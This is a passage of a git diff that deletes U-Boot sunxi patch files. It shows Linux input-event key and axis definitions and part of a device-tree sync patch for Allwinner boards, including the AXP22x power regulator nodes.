-+#define BTN_TOOL_PENCIL		0x143
-+#define BTN_TOOL_AIRBRUSH	0x144
-+#define BTN_TOOL_FINGER		0x145
-+#define BTN_TOOL_MOUSE		0x146
-+#define BTN_TOOL_LENS		0x147
-+#define BTN_TOOL_QUINTTAP	0x148	/* Five fingers on trackpad */
-+#define BTN_TOUCH		0x14a
-+#define BTN_STYLUS		0x14b
-+#define BTN_STYLUS2		0x14c
-+#define BTN_TOOL_DOUBLETAP	0x14d
-+#define BTN_TOOL_TRIPLETAP	0x14e
-+#define BTN_TOOL_QUADTAP	0x14f	/* Four fingers on trackpad */
-+
-+#define BTN_WHEEL		0x150
-+#define BTN_GEAR_DOWN		0x150
-+#define BTN_GEAR_UP		0x151
-+
-+#define KEY_OK			0x160
-+#define KEY_SELECT		0x161
-+#define KEY_GOTO		0x162
-+#define KEY_CLEAR		0x163
-+#define KEY_POWER2		0x164
-+#define KEY_OPTION		0x165
-+#define KEY_INFO		0x166	/* AL OEM Features/Tips/Tutorial */
-+#define KEY_TIME		0x167
-+#define KEY_VENDOR		0x168
-+#define KEY_ARCHIVE		0x169
-+#define KEY_PROGRAM		0x16a	/* Media Select Program Guide */
-+#define KEY_CHANNEL		0x16b
-+#define KEY_FAVORITES		0x16c
-+#define KEY_EPG			0x16d
-+#define KEY_PVR			0x16e	/* Media Select Home */
-+#define KEY_MHP			0x16f
-+#define KEY_LANGUAGE		0x170
-+#define KEY_TITLE		0x171
-+#define KEY_SUBTITLE		0x172
-+#define KEY_ANGLE		0x173
-+#define KEY_ZOOM		0x174
-+#define KEY_MODE		0x175
-+#define KEY_KEYBOARD		0x176
-+#define KEY_SCREEN		0x177
-+#define KEY_PC			0x178	/* Media Select Computer */
-+#define KEY_TV			0x179	/* Media Select TV */
-+#define KEY_TV2			0x17a	/* Media Select Cable */
-+#define KEY_VCR			0x17b	/* Media Select VCR */
-+#define KEY_VCR2		0x17c	/* VCR Plus */
-+#define KEY_SAT			0x17d	/* Media Select Satellite */
-+#define KEY_SAT2		0x17e
-+#define KEY_CD			0x17f	/* Media Select CD */
-+#define KEY_TAPE		0x180	/* Media Select Tape */
-+#define KEY_RADIO		0x181
-+#define KEY_TUNER		0x182	/* Media Select Tuner */
-+#define KEY_PLAYER		0x183
-+#define KEY_TEXT		0x184
-+#define KEY_DVD			0x185	/* Media Select DVD */
-+#define KEY_AUX			0x186
-+#define KEY_MP3			0x187
-+#define KEY_AUDIO		0x188	/* AL Audio Browser */
-+#define KEY_VIDEO		0x189	/* AL Movie Browser */
-+#define KEY_DIRECTORY		0x18a
-+#define KEY_LIST		0x18b
-+#define KEY_MEMO		0x18c	/* Media Select Messages */
-+#define KEY_CALENDAR		0x18d
-+#define KEY_RED			0x18e
-+#define KEY_GREEN		0x18f
-+#define KEY_YELLOW		0x190
-+#define KEY_BLUE		0x191
-+#define KEY_CHANNELUP		0x192	/* Channel Increment */
-+#define KEY_CHANNELDOWN		0x193	/* Channel Decrement */
-+#define KEY_FIRST		0x194
-+#define KEY_LAST		0x195	/* Recall Last */
-+#define KEY_AB			0x196
-+#define KEY_NEXT		0x197
-+#define KEY_RESTART		0x198
-+#define KEY_SLOW		0x199
-+#define KEY_SHUFFLE		0x19a
-+#define KEY_BREAK		0x19b
-+#define KEY_PREVIOUS		0x19c
-+#define KEY_DIGITS		0x19d
-+#define KEY_TEEN		0x19e
-+#define KEY_TWEN		0x19f
-+#define KEY_VIDEOPHONE		0x1a0	/* Media Select Video Phone */
-+#define KEY_GAMES		0x1a1	/* Media Select Games */
-+#define KEY_ZOOMIN		0x1a2	/* AC Zoom In */
-+#define KEY_ZOOMOUT		0x1a3	/* AC Zoom Out */
-+#define KEY_ZOOMRESET		0x1a4	/* AC Zoom */
-+#define KEY_WORDPROCESSOR	0x1a5	/* AL Word Processor */
-+#define KEY_EDITOR		0x1a6	/* AL Text Editor */
-+#define KEY_SPREADSHEET		0x1a7	/* AL Spreadsheet */
-+#define KEY_GRAPHICSEDITOR	0x1a8	/* AL Graphics Editor */
-+#define KEY_PRESENTATION	0x1a9	/* AL Presentation App */
-+#define KEY_DATABASE		0x1aa	/* AL Database App */
-+#define KEY_NEWS		0x1ab	/* AL Newsreader */
-+#define KEY_VOICEMAIL		0x1ac	/* AL Voicemail */
-+#define KEY_ADDRESSBOOK		0x1ad	/* AL Contacts/Address Book */
-+#define KEY_MESSENGER		0x1ae	/* AL Instant Messaging */
-+#define KEY_DISPLAYTOGGLE	0x1af	/* Turn display (LCD) on and off */
-+#define KEY_BRIGHTNESS_TOGGLE	KEY_DISPLAYTOGGLE
-+#define KEY_SPELLCHECK		0x1b0   /* AL Spell Check */
-+#define KEY_LOGOFF		0x1b1   /* AL Logoff */
-+
-+#define KEY_DOLLAR		0x1b2
-+#define KEY_EURO		0x1b3
-+
-+#define KEY_FRAMEBACK		0x1b4	/* Consumer - transport controls */
-+#define KEY_FRAMEFORWARD	0x1b5
-+#define KEY_CONTEXT_MENU	0x1b6	/* GenDesc - system context menu */
-+#define KEY_MEDIA_REPEAT	0x1b7	/* Consumer - transport control */
-+#define KEY_10CHANNELSUP	0x1b8	/* 10 channels up (10+) */
-+#define KEY_10CHANNELSDOWN	0x1b9	/* 10 channels down (10-) */
-+#define KEY_IMAGES		0x1ba	/* AL Image Browser */
-+
-+#define KEY_DEL_EOL		0x1c0
-+#define KEY_DEL_EOS		0x1c1
-+#define KEY_INS_LINE		0x1c2
-+#define KEY_DEL_LINE		0x1c3
-+
-+#define KEY_FN			0x1d0
-+#define KEY_FN_ESC		0x1d1
-+#define KEY_FN_F1		0x1d2
-+#define KEY_FN_F2		0x1d3
-+#define KEY_FN_F3		0x1d4
-+#define KEY_FN_F4		0x1d5
-+#define KEY_FN_F5		0x1d6
-+#define KEY_FN_F6		0x1d7
-+#define KEY_FN_F7		0x1d8
-+#define KEY_FN_F8		0x1d9
-+#define KEY_FN_F9		0x1da
-+#define KEY_FN_F10		0x1db
-+#define KEY_FN_F11		0x1dc
-+#define KEY_FN_F12		0x1dd
-+#define KEY_FN_1		0x1de
-+#define KEY_FN_2		0x1df
-+#define KEY_FN_D		0x1e0
-+#define KEY_FN_E		0x1e1
-+#define KEY_FN_F		0x1e2
-+#define KEY_FN_S		0x1e3
-+#define KEY_FN_B		0x1e4
-+
-+#define KEY_BRL_DOT1		0x1f1
-+#define KEY_BRL_DOT2		0x1f2
-+#define KEY_BRL_DOT3		0x1f3
-+#define KEY_BRL_DOT4		0x1f4
-+#define KEY_BRL_DOT5		0x1f5
-+#define KEY_BRL_DOT6		0x1f6
-+#define KEY_BRL_DOT7		0x1f7
-+#define KEY_BRL_DOT8		0x1f8
-+#define KEY_BRL_DOT9		0x1f9
-+#define KEY_BRL_DOT10		0x1fa
-+
-+#define KEY_NUMERIC_0		0x200	/* used by phones, remote controls, */
-+#define KEY_NUMERIC_1		0x201	/* and other keypads */
-+#define KEY_NUMERIC_2		0x202
-+#define KEY_NUMERIC_3		0x203
-+#define KEY_NUMERIC_4		0x204
-+#define KEY_NUMERIC_5		0x205
-+#define KEY_NUMERIC_6		0x206
-+#define KEY_NUMERIC_7		0x207
-+#define KEY_NUMERIC_8		0x208
-+#define KEY_NUMERIC_9		0x209
-+#define KEY_NUMERIC_STAR	0x20a
-+#define KEY_NUMERIC_POUND	0x20b
-+#define KEY_NUMERIC_A		0x20c	/* Phone key A - HUT Telephony 0xb9 */
-+#define KEY_NUMERIC_B		0x20d
-+#define KEY_NUMERIC_C		0x20e
-+#define KEY_NUMERIC_D		0x20f
-+
-+#define KEY_CAMERA_FOCUS	0x210
-+#define KEY_WPS_BUTTON		0x211	/* WiFi Protected Setup key */
-+
-+#define KEY_TOUCHPAD_TOGGLE	0x212	/* Request switch touchpad on or off */
-+#define KEY_TOUCHPAD_ON		0x213
-+#define KEY_TOUCHPAD_OFF	0x214
-+
-+#define KEY_CAMERA_ZOOMIN	0x215
-+#define KEY_CAMERA_ZOOMOUT	0x216
-+#define KEY_CAMERA_UP		0x217
-+#define KEY_CAMERA_DOWN		0x218
-+#define KEY_CAMERA_LEFT		0x219
-+#define KEY_CAMERA_RIGHT	0x21a
-+
-+#define KEY_ATTENDANT_ON	0x21b
-+#define KEY_ATTENDANT_OFF	0x21c
-+#define KEY_ATTENDANT_TOGGLE	0x21d	/* Attendant call on or off */
-+#define KEY_LIGHTS_TOGGLE	0x21e	/* Reading light on or off */
-+
-+#define BTN_DPAD_UP		0x220
-+#define BTN_DPAD_DOWN		0x221
-+#define BTN_DPAD_LEFT		0x222
-+#define BTN_DPAD_RIGHT		0x223
-+
-+#define KEY_ALS_TOGGLE		0x230	/* Ambient light sensor */
-+
-+#define KEY_BUTTONCONFIG		0x240	/* AL Button Configuration */
-+#define KEY_TASKMANAGER		0x241	/* AL Task/Project Manager */
-+#define KEY_JOURNAL		0x242	/* AL Log/Journal/Timecard */
-+#define KEY_CONTROLPANEL		0x243	/* AL Control Panel */
-+#define KEY_APPSELECT		0x244	/* AL Select Task/Application */
-+#define KEY_SCREENSAVER		0x245	/* AL Screen Saver */
-+#define KEY_VOICECOMMAND		0x246	/* Listening Voice Command */
-+
-+#define KEY_BRIGHTNESS_MIN		0x250	/* Set Brightness to Minimum */
-+#define KEY_BRIGHTNESS_MAX		0x251	/* Set Brightness to Maximum */
-+
-+#define KEY_KBDINPUTASSIST_PREV		0x260
-+#define KEY_KBDINPUTASSIST_NEXT		0x261
-+#define KEY_KBDINPUTASSIST_PREVGROUP		0x262
-+#define KEY_KBDINPUTASSIST_NEXTGROUP		0x263
-+#define KEY_KBDINPUTASSIST_ACCEPT		0x264
-+#define KEY_KBDINPUTASSIST_CANCEL		0x265
-+
-+#define BTN_TRIGGER_HAPPY		0x2c0
-+#define BTN_TRIGGER_HAPPY1		0x2c0
-+#define BTN_TRIGGER_HAPPY2		0x2c1
-+#define BTN_TRIGGER_HAPPY3		0x2c2
-+#define BTN_TRIGGER_HAPPY4		0x2c3
-+#define BTN_TRIGGER_HAPPY5		0x2c4
-+#define BTN_TRIGGER_HAPPY6		0x2c5
-+#define BTN_TRIGGER_HAPPY7		0x2c6
-+#define BTN_TRIGGER_HAPPY8		0x2c7
-+#define BTN_TRIGGER_HAPPY9		0x2c8
-+#define BTN_TRIGGER_HAPPY10		0x2c9
-+#define BTN_TRIGGER_HAPPY11		0x2ca
-+#define BTN_TRIGGER_HAPPY12		0x2cb
-+#define BTN_TRIGGER_HAPPY13		0x2cc
-+#define BTN_TRIGGER_HAPPY14		0x2cd
-+#define BTN_TRIGGER_HAPPY15		0x2ce
-+#define BTN_TRIGGER_HAPPY16		0x2cf
-+#define BTN_TRIGGER_HAPPY17		0x2d0
-+#define BTN_TRIGGER_HAPPY18		0x2d1
-+#define BTN_TRIGGER_HAPPY19		0x2d2
-+#define BTN_TRIGGER_HAPPY20		0x2d3
-+#define BTN_TRIGGER_HAPPY21		0x2d4
-+#define BTN_TRIGGER_HAPPY22		0x2d5
-+#define BTN_TRIGGER_HAPPY23		0x2d6
-+#define BTN_TRIGGER_HAPPY24		0x2d7
-+#define BTN_TRIGGER_HAPPY25		0x2d8
-+#define BTN_TRIGGER_HAPPY26		0x2d9
-+#define BTN_TRIGGER_HAPPY27		0x2da
-+#define BTN_TRIGGER_HAPPY28		0x2db
-+#define BTN_TRIGGER_HAPPY29		0x2dc
-+#define BTN_TRIGGER_HAPPY30		0x2dd
-+#define BTN_TRIGGER_HAPPY31		0x2de
-+#define BTN_TRIGGER_HAPPY32		0x2df
-+#define BTN_TRIGGER_HAPPY33		0x2e0
-+#define BTN_TRIGGER_HAPPY34		0x2e1
-+#define BTN_TRIGGER_HAPPY35		0x2e2
-+#define BTN_TRIGGER_HAPPY36		0x2e3
-+#define BTN_TRIGGER_HAPPY37		0x2e4
-+#define BTN_TRIGGER_HAPPY38		0x2e5
-+#define BTN_TRIGGER_HAPPY39		0x2e6
-+#define BTN_TRIGGER_HAPPY40		0x2e7
-+
-+/* We avoid low common keys in module aliases so they don't get huge. */
-+#define KEY_MIN_INTERESTING	KEY_MUTE
-+#define KEY_MAX			0x2ff
-+#define KEY_CNT			(KEY_MAX+1)
-+
-+/*
-+ * Relative axes
-+ */
-+
-+#define REL_X			0x00
-+#define REL_Y			0x01
-+#define REL_Z			0x02
-+#define REL_RX			0x03
-+#define REL_RY			0x04
-+#define REL_RZ			0x05
-+#define REL_HWHEEL		0x06
-+#define REL_DIAL		0x07
-+#define REL_WHEEL		0x08
-+#define REL_MISC		0x09
-+#define REL_MAX			0x0f
-+#define REL_CNT			(REL_MAX+1)
-+
-+/*
-+ * Absolute axes
-+ */
-+
-+#define ABS_X			0x00
-+#define ABS_Y			0x01
-+#define ABS_Z			0x02
-+#define ABS_RX			0x03
-+#define ABS_RY			0x04
-+#define ABS_RZ			0x05
-+#define ABS_THROTTLE		0x06
-+#define ABS_RUDDER		0x07
-+#define ABS_WHEEL		0x08
-+#define ABS_GAS			0x09
-+#define ABS_BRAKE		0x0a
-+#define ABS_HAT0X		0x10
-+#define ABS_HAT0Y		0x11
-+#define ABS_HAT1X		0x12
-+#define ABS_HAT1Y		0x13
-+#define ABS_HAT2X		0x14
-+#define ABS_HAT2Y		0x15
-+#define ABS_HAT3X		0x16
-+#define ABS_HAT3Y		0x17
-+#define ABS_PRESSURE		0x18
-+#define ABS_DISTANCE		0x19
-+#define ABS_TILT_X		0x1a
-+#define ABS_TILT_Y		0x1b
-+#define ABS_TOOL_WIDTH		0x1c
-+
-+#define ABS_VOLUME		0x20
-+
-+#define ABS_MISC		0x28
-+
-+#define ABS_MT_SLOT		0x2f	/* MT slot being modified */
-+#define ABS_MT_TOUCH_MAJOR	0x30	/* Major axis of touching ellipse */
-+#define ABS_MT_TOUCH_MINOR	0x31	/* Minor axis (omit if circular) */
-+#define ABS_MT_WIDTH_MAJOR	0x32	/* Major axis of approaching ellipse */
-+#define ABS_MT_WIDTH_MINOR	0x33	/* Minor axis (omit if circular) */
-+#define ABS_MT_ORIENTATION	0x34	/* Ellipse orientation */
-+#define ABS_MT_POSITION_X	0x35	/* Center X touch position */
-+#define ABS_MT_POSITION_Y	0x36	/* Center Y touch position */
-+#define ABS_MT_TOOL_TYPE	0x37	/* Type of touching device */
-+#define ABS_MT_BLOB_ID		0x38	/* Group a set of packets as a blob */
-+#define ABS_MT_TRACKING_ID	0x39	/* Unique ID of initiated contact */
-+#define ABS_MT_PRESSURE		0x3a	/* Pressure on contact area */
-+#define ABS_MT_DISTANCE		0x3b	/* Contact hover distance */
-+#define ABS_MT_TOOL_X		0x3c	/* Center X tool position */
-+#define ABS_MT_TOOL_Y		0x3d	/* Center Y tool position */
-+
-+
-+#define ABS_MAX			0x3f
-+#define ABS_CNT			(ABS_MAX+1)
-+
-+/*
-+ * Switch events
-+ */
-+
-+#define SW_LID			0x00  /* set = lid shut */
-+#define SW_TABLET_MODE		0x01  /* set = tablet mode */
-+#define SW_HEADPHONE_INSERT	0x02  /* set = inserted */
-+#define SW_RFKILL_ALL		0x03  /* rfkill master switch, type "any"
-+					 set = radio enabled */
-+#define SW_RADIO		SW_RFKILL_ALL	/* deprecated */
-+#define SW_MICROPHONE_INSERT	0x04  /* set = inserted */
-+#define SW_DOCK			0x05  /* set = plugged into dock */
-+#define SW_LINEOUT_INSERT	0x06  /* set = inserted */
-+#define SW_JACK_PHYSICAL_INSERT 0x07  /* set = mechanical switch set */
-+#define SW_VIDEOOUT_INSERT	0x08  /* set = inserted */
-+#define SW_CAMERA_LENS_COVER	0x09  /* set = lens covered */
-+#define SW_KEYPAD_SLIDE		0x0a  /* set = keypad slide out */
-+#define SW_FRONT_PROXIMITY	0x0b  /* set = front proximity sensor active */
-+#define SW_ROTATE_LOCK		0x0c  /* set = rotate locked/disabled */
-+#define SW_LINEIN_INSERT	0x0d  /* set = inserted */
-+#define SW_MUTE_DEVICE		0x0e  /* set = device disabled */
-+#define SW_MAX			0x0f
-+#define SW_CNT			(SW_MAX+1)
-+
-+/*
-+ * Misc events
-+ */
-+
-+#define MSC_SERIAL		0x00
-+#define MSC_PULSELED		0x01
-+#define MSC_GESTURE		0x02
-+#define MSC_RAW			0x03
-+#define MSC_SCAN		0x04
-+#define MSC_TIMESTAMP		0x05
-+#define MSC_MAX			0x07
-+#define MSC_CNT			(MSC_MAX+1)
-+
-+/*
-+ * LEDs
-+ */
-+
-+#define LED_NUML		0x00
-+#define LED_CAPSL		0x01
-+#define LED_SCROLLL		0x02
-+#define LED_COMPOSE		0x03
-+#define LED_KANA		0x04
-+#define LED_SLEEP		0x05
-+#define LED_SUSPEND		0x06
-+#define LED_MUTE		0x07
-+#define LED_MISC		0x08
-+#define LED_MAIL		0x09
-+#define LED_CHARGING		0x0a
-+#define LED_MAX			0x0f
-+#define LED_CNT			(LED_MAX+1)
-+
-+/*
-+ * Autorepeat values
-+ */
-+
-+#define REP_DELAY		0x00
-+#define REP_PERIOD		0x01
-+#define REP_MAX			0x01
-+#define REP_CNT			(REP_MAX+1)
-+
-+/*
-+ * Sounds
-+ */
-+
-+#define SND_CLICK		0x00
-+#define SND_BELL		0x01
-+#define SND_TONE		0x02
-+#define SND_MAX			0x07
-+#define SND_CNT			(SND_MAX+1)
-+
-+#endif
diff --git a/package/boot/uboot-sunxi/patches/011-dt-sync-dts-files-with-kernel.patch b/package/boot/uboot-sunxi/patches/011-dt-sync-dts-files-with-kernel.patch
deleted file mode 100644
index e36f9e3..0000000
--- a/package/boot/uboot-sunxi/patches/011-dt-sync-dts-files-with-kernel.patch
+++ /dev/null
@@ -1,7211 +0,0 @@
-From 80e5f83c0fc4bf42110cc55ce671ad7ddc7b08a4 Mon Sep 17 00:00:00 2001
-From: Hans de Goede <hdegoede at redhat.com>
-Date: Mon, 14 Mar 2016 17:37:09 +0100
-Subject: [PATCH] sunxi: Sync dts files with the upstream kernel
-
-Sync dts files with the upstream kernel including
-changes queued for 4.6:
-
-https://git.kernel.org/cgit/linux/kernel/git/mripard/linux.git/commit/?h=sunxi/dt-for-4.6
-
-Note this adds a number of new unused board dts files. I've asked the
-authors of the kernel commits adding these to submit a matching defconfig
-to u-boot.
-
-Signed-off-by: Hans de Goede <hdegoede at redhat.com>
-Acked-by: Ian Campbell <ijc at hellion.org.uk>
----
- arch/arm/dts/Makefile                              |   8 +-
- arch/arm/dts/axp22x.dtsi                           | 145 ++++++++++++
- arch/arm/dts/sun4i-a10-a1000.dts                   |   4 +
- arch/arm/dts/sun4i-a10-chuwi-v7-cw0825.dts         |  22 ++
- arch/arm/dts/sun4i-a10-cubieboard.dts              |   4 +
- arch/arm/dts/sun4i-a10-gemei-g9.dts                |  63 +++++-
- arch/arm/dts/sun4i-a10-inet1.dts                   |  48 ++++
- arch/arm/dts/sun4i-a10-inet97fv2.dts               | 127 ++++++++++-
- arch/arm/dts/sun4i-a10-inet9f-rev03.dts            | 181 +++++++++++++++
- arch/arm/dts/sun4i-a10-itead-iteaduino-plus.dts    |  86 +------
- arch/arm/dts/sun4i-a10-jesurun-q5.dts              |  15 ++
- arch/arm/dts/sun4i-a10-marsboard.dts               |  23 ++
- arch/arm/dts/sun4i-a10-mk802.dts                   |  37 +++
- arch/arm/dts/sun4i-a10-olinuxino-lime.dts          |  12 +
- arch/arm/dts/sun4i-a10-pcduino.dts                 |  58 ++++-
- arch/arm/dts/sun4i-a10-pcduino2.dts                |  78 +++++++
- arch/arm/dts/sun4i-a10-pov-protab2-ips9.dts        |  69 ++++++
- arch/arm/dts/sun4i-a10.dtsi                        | 153 +++++++++++--
- arch/arm/dts/sun5i-a10s-auxtek-t004.dts            |  14 ++
- arch/arm/dts/sun5i-a10s-olinuxino-micro.dts        |   2 +-
- arch/arm/dts/sun5i-a13-empire-electronix-d709.dts  |  19 +-
- arch/arm/dts/sun5i-a13-inet-98v-rev2.dts           |  26 +--
- arch/arm/dts/sun5i-a13-utoo-p66.dts                |  30 +++
- arch/arm/dts/sun5i-q8-common.dtsi                  |  10 +
- arch/arm/dts/sun5i-r8-chip.dts                     |  47 +++-
- arch/arm/dts/sun5i.dtsi                            |  31 +++
- arch/arm/dts/sun6i-a31-colombus.dts                |  24 ++
- arch/arm/dts/sun6i-a31-hummingbird.dts             | 132 ++++++-----
- arch/arm/dts/sun6i-a31.dtsi                        |  65 +++++-
- arch/arm/dts/sun6i-a31s-primo81.dts                | 247 ++++++++++++++++++++-
- arch/arm/dts/sun6i-a31s-sina31s-core.dtsi          | 142 ++++++++++++
- arch/arm/dts/sun6i-a31s-sina31s.dts                | 153 +++++++++++++
- .../arm/dts/sun6i-a31s-yones-toptech-bs1078-v2.dts | 205 +++++++++++++++++
- arch/arm/dts/sun7i-a20-bananapi.dts                |  78 ++++++-
- arch/arm/dts/sun7i-a20-cubieboard2.dts             |  23 ++
- arch/arm/dts/sun7i-a20-cubietruck.dts              |   4 +
- arch/arm/dts/sun7i-a20-icnova-swac.dts             | 169 ++++++++++++++
- arch/arm/dts/sun7i-a20-itead-ibox.dts              | 125 +++++++++++
- arch/arm/dts/sun7i-a20-lamobo-r1.dts               |  10 -
- arch/arm/dts/sun7i-a20-mk808c.dts                  |  39 ++++
- arch/arm/dts/sun7i-a20-olimex-som-evb.dts          |  95 ++++++--
- arch/arm/dts/sun7i-a20-olinuxino-lime.dts          |  12 +
- arch/arm/dts/sun7i-a20-olinuxino-lime2.dts         |  47 ++++
- arch/arm/dts/sun7i-a20-olinuxino-micro.dts         |   6 +
- arch/arm/dts/sun7i-a20-orangepi-mini.dts           |  33 +++
- arch/arm/dts/sun7i-a20-orangepi.dts                |  29 +++
- arch/arm/dts/sun7i-a20-pcduino3-nano.dts           |  69 +++++-
- arch/arm/dts/sun7i-a20-pcduino3.dts                |  58 ++++-
- arch/arm/dts/sun7i-a20-wexler-tab7200.dts          |  90 +++++++-
- arch/arm/dts/sun7i-a20-wits-pro-a20-dkt.dts        | 187 +++++++++++++++-
- arch/arm/dts/sun7i-a20.dtsi                        | 113 +++++++++-
- arch/arm/dts/sun8i-a23-a33.dtsi                    |  71 ++++--
- arch/arm/dts/sun8i-a23-gt90h-v4.dts                | 120 +++++++++-
- arch/arm/dts/sun8i-a23.dtsi                        |  25 +++
- arch/arm/dts/sun8i-a33-sinlinx-sina33.dts          |  83 ++++++-
- arch/arm/dts/sun8i-a33.dtsi                        |  45 ++++
- arch/arm/dts/sun8i-a83t-cubietruck-plus.dts        |  65 ++++++
- arch/arm/dts/sun8i-a83t.dtsi                       | 125 +++++------
- arch/arm/dts/sun8i-h3-orangepi-pc.dts              |  69 ++++++
- arch/arm/dts/sun8i-h3-orangepi-plus.dts            |  63 ++++++
- arch/arm/dts/sun8i-h3.dtsi                         | 189 +++++++++++-----
- arch/arm/dts/sun8i-q8-common.dtsi                  |  96 +++++++-
- arch/arm/dts/sun9i-a80-cubieboard4.dts             |  36 +++
- arch/arm/dts/sun9i-a80-optimus.dts                 |  48 ++--
- arch/arm/dts/sun9i-a80.dtsi                        | 204 +++++++++++++++--
- arch/arm/dts/sunxi-itead-core-common.dtsi          | 136 ++++++++++++
- arch/arm/dts/sunxi-q8-common.dtsi                  |   6 +
- 67 files changed, 4351 insertions(+), 497 deletions(-)
- create mode 100644 arch/arm/dts/axp22x.dtsi
- create mode 100644 arch/arm/dts/sun4i-a10-pcduino2.dts
- create mode 100644 arch/arm/dts/sun6i-a31s-sina31s-core.dtsi
- create mode 100644 arch/arm/dts/sun6i-a31s-sina31s.dts
- create mode 100644 arch/arm/dts/sun6i-a31s-yones-toptech-bs1078-v2.dts
- create mode 100644 arch/arm/dts/sun7i-a20-icnova-swac.dts
- create mode 100644 arch/arm/dts/sun7i-a20-itead-ibox.dts
- create mode 100644 arch/arm/dts/sun8i-a83t-cubietruck-plus.dts
- create mode 100644 arch/arm/dts/sunxi-itead-core-common.dtsi
-
---- a/arch/arm/dts/Makefile
-+++ b/arch/arm/dts/Makefile
-@@ -126,6 +126,7 @@ dtb-$(CONFIG_MACH_SUN4I) += \
- 	sun4i-a10-mk802ii.dtb \
- 	sun4i-a10-olinuxino-lime.dtb \
- 	sun4i-a10-pcduino.dtb \
-+	sun4i-a10-pcduino2.dtb \
- 	sun4i-a10-pov-protab2-ips9.dtb
- dtb-$(CONFIG_MACH_SUN5I) += \
- 	sun5i-a10s-auxtek-t003.dtb \
-@@ -155,7 +156,9 @@ dtb-$(CONFIG_MACH_SUN6I) += \
- 	sun6i-a31-pangolin.dtb \
- 	sun6i-a31s-cs908.dtb \
- 	sun6i-a31s-primo81.dtb \
--	sun6i-a31s-sinovoip-bpi-m2.dtb
-+	sun6i-a31s-sina31s.dtb \
-+	sun6i-a31s-sinovoip-bpi-m2.dtb \
-+	sun6i-a31s-yones-toptech-bs1078-v2.dtb
- dtb-$(CONFIG_MACH_SUN7I) += \
- 	sun7i-a20-ainol-aw1.dtb \
- 	sun7i-a20-bananapi.dtb \
-@@ -164,6 +167,8 @@ dtb-$(CONFIG_MACH_SUN7I) += \
- 	sun7i-a20-cubietruck.dtb \
- 	sun7i-a20-hummingbird.dtb \
- 	sun7i-a20-i12-tvbox.dtb \
-+	sun7i-a20-icnova-swac.dtb \
-+	sun7i-a20-itead-ibox.dtb \
- 	sun7i-a20-lamobo-r1.dtb \
- 	sun7i-a20-m3.dtb \
- 	sun7i-a20-m5.dtb \
-@@ -190,6 +195,7 @@ dtb-$(CONFIG_MACH_SUN8I_A33) += \
- 	sun8i-a33-sinlinx-sina33.dtb
- dtb-$(CONFIG_MACH_SUN8I_A83T) += \
- 	sun8i-a83t-allwinner-h8homlet-v2.dtb \
-+	sun8i-a83t-cubietruck-plus.dtb \
- 	sun8i-a83t-sinovoip-bpi-m3.dtb
- dtb-$(CONFIG_MACH_SUN8I_H3) += \
- 	sun8i-h3-orangepi-pc.dtb \
---- /dev/null
-+++ b/arch/arm/dts/axp22x.dtsi
-@@ -0,0 +1,145 @@
-+/*
-+ * Copyright 2015 Chen-Yu Tsai
-+ *
-+ * Chen-Yu Tsai <wens at csie.org>
-+ *
-+ * This file is dual-licensed: you can use it either under the terms
-+ * of the GPL or the X11 license, at your option. Note that this dual
-+ * licensing only applies to this file, and not this project as a
-+ * whole.
-+ *
-+ *  a) This file is free software; you can redistribute it and/or
-+ *     modify it under the terms of the GNU General Public License as
-+ *     published by the Free Software Foundation; either version 2 of the
-+ *     License, or (at your option) any later version.
-+ *
-+ *     This file is distributed in the hope that it will be useful,
-+ *     but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-+ *     GNU General Public License for more details.
-+ *
-+ * Or, alternatively,
-+ *
-+ *  b) Permission is hereby granted, free of charge, to any person
-+ *     obtaining a copy of this software and associated documentation
-+ *     files (the "Software"), to deal in the Software without
-+ *     restriction, including without limitation the rights to use,
-+ *     copy, modify, merge, publish, distribute, sublicense, and/or
-+ *     sell copies of the Software, and to permit persons to whom the
-+ *     Software is furnished to do so, subject to the following
-+ *     conditions:
-+ *
-+ *     The above copyright notice and this permission notice shall be
-+ *     included in all copies or substantial portions of the Software.
-+ *
-+ *     THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-+ *     EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-+ *     OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-+ *     NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-+ *     HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-+ *     WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-+ *     FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-+ *     OTHER DEALINGS IN THE SOFTWARE.
-+ */
-+
-+/*
-+ * AXP221/221s/223 Integrated Power Management Chip
-+ * http://www.x-powers.com/product/AXP22X.php
-+ * http://dl.linux-sunxi.org/AXP/AXP221%20Datasheet%20V1.2%2020130326%20.pdf
-+ */
-+
-+&axp22x {
-+	interrupt-controller;
-+	#interrupt-cells = <1>;
-+
-+	regulators {
-+		/* Default work frequency for buck regulators */
-+		x-powers,dcdc-freq = <3000>;
-+
-+		reg_dcdc1: dcdc1 {
-+			regulator-name = "dcdc1";
-+		};
-+
-+		reg_dcdc2: dcdc2 {
-+			regulator-name = "dcdc2";
-+		};
-+
-+		reg_dcdc3: dcdc3 {
-+			regulator-name = "dcdc3";
-+		};
-+
-+		reg_dcdc4: dcdc4 {
-+			regulator-name = "dcdc4";
-+		};
-+
-+		reg_dcdc5: dcdc5 {
-+			regulator-name = "dcdc5";
-+		};
-+
-+		reg_dc1sw: dc1sw {
-+			regulator-name = "dc1sw";
-+		};
-+
-+		reg_dc5ldo: dc5ldo {
-+			regulator-name = "dc5ldo";
-+		};
-+
-+		reg_aldo1: aldo1 {
-+			regulator-name = "aldo1";
-+		};
-+
-+		reg_aldo2: aldo2 {
-+			regulator-name = "aldo2";
-+		};
-+
-+		reg_aldo3: aldo3 {
-+			regulator-name = "aldo3";
-+		};
-+
-+		reg_dldo1: dldo1 {
-+			regulator-name = "dldo1";
-+		};
-+
-+		reg_dldo2: dldo2 {
-+			regulator-name = "dldo2";
-+		};
-+
-+		reg_dldo3: dldo3 {
-+			regulator-name = "dldo3";
-+		};
-+
-+		reg_dldo4: dldo4 {
-+			regulator-name = "dldo4";
-+		};
-+
-+		reg_eldo1: eldo1 {
-+			regulator-name = "eldo1";
-+		};
-+
-+		reg_eldo2: eldo2 {
-+			regulator-name = "eldo2";
-+		};
-+
-+		reg_eldo3: eldo3 {
-+			regulator-name = "eldo3";
-+		};
-+
-+		reg_ldo_io0: ldo_io0 {
